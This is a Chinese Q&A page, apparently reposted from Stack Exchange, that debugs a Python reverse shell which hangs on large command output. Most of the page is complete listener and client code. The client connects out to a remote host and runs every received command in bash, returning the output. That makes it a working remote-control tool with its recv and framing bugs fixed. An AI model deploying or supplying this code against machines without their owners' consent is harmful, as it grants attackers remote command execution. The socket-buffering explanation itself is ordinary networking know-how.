You need to enable JavaScript to run this app. Python反向shell执行大输出命令时recv缓冲区挂起问题求助
优惠活动
大模型
产品
解决方案
定价
更多

Python反向shell执行大输出命令时recv缓冲区挂起问题求助

问题根因

你遇到的输出截断、挂起问题是三个核心错误共同导致的:

  • 服务端接收计数逻辑错误:你代码中用count = count + BUFF_SIZE累加接收长度,是假设每次recv调用都能恰好收到BUFF_SIZE字节,但TCP是流协议,recv的返回值是实际收到的字节数,多数场景下远小于设置的BUFF_SIZE,会导致计数远大于实际接收的字节数,要么提前退出循环截断输出,要么永远达不到count==byt的条件导致挂起。
  • 头部接收不完整:conn.recv(HEADER) 不一定能一次收到完整的10字节头部,如果头部只收到部分,转int会失败或者拿到错误的长度值,后续接收逻辑完全失效。
  • man类命令的分页机制限制:man默认会调用less、more等分页器,依赖交互式终端环境,反向shell是非交互场景,会导致man进程卡住,输出不完整。
修复方案

服务端修改要点

  1. 调整BUFF_SIZE为合理值(如4096),提升接收效率
  2. 补全头部接收逻辑,确保拿到完整10字节长度头
  3. 接收正文时按实际收到的字节数累加,而非固定加BUFF_SIZE

修改后的服务端完整代码:

#!/usr/bin/env python3
import socket

BUFF_SIZE = 4096
HEADER = 10

def recv_full(conn, length):
    # 保证收到指定长度的字节才返回
    data = b''
    while len(data) < length:
        chunk = conn.recv(length - len(data))
        if not chunk:
            return None
        data += chunk
    return data

def commands(conn):
    command = ""
    while command != 'exit':
        command = input()
        if command.strip() == '':
            print()
            continue
        conn.send(str.encode(command))
        # 先收完整的10字节头部
        header_bytes = recv_full(conn, HEADER)
        if not header_bytes:
            break
        byt = int(header_bytes.decode("utf-8").strip())
        full_msg = b''
        # 收指定长度的正文
        while len(full_msg) < byt:
            chunk = conn.recv(min(BUFF_SIZE, byt - len(full_msg)))
            if not chunk:
                break
            full_msg += chunk
        print(full_msg.decode("utf-8", 'ignore'), end="")

def accept():
    conn, address = sock.accept()
    commands(conn)
    conn.close()

ip = '0.0.0.0'
port = 9999
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("binding sockets..")
sock.bind((ip, port))
print("completed binding...")
sock.listen(1)
print("listening on {}:{} ".format(ip, port))
accept()

客户端修改要点

执行命令时添加环境变量,让man类命令跳过分页器直接输出所有内容:
修改后的客户端完整代码:

#!/usr/bin/env python3
import os
import subprocess
import sys
import socket
target_host = ""
target_port = 9999
HEADER = 10

def commands():
    response = ''
    while 'exit' not in response :
        response = str(client.recv(8024), "utf-8")
        # 添加环境变量,避免man等命令分页卡住
        env = os.environ.copy()
        env['MANPAGER'] = 'cat'
        env['TERM'] = 'xterm'
        out = subprocess.Popen(
            response, shell=True, executable='/bin/bash',
            stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE,
            env=env
        )
        output = str(out.stdout.read() + out.stderr.read(), "utf-8")
        out_content = output + os.getcwd() + " -> "
        header = f'{len(out_content):<{HEADER}}'
        combinedout = header + out_content
        client.sendall(str.encode(combinedout))
    client.close()
    print("connection terminated ...")
    sys.exit()

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("connecting to {}".format(target_host))
client.connect((target_host, target_port))
print("connected !")
commands()
验证说明

修改完成后重新运行服务端和客户端,执行man man、man git这类大输出命令也能正常返回完整内容,不会再出现挂起或截断问题。

内容的提问来源于stack exchange,提问作者the_oddsaint

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.15 11:45:05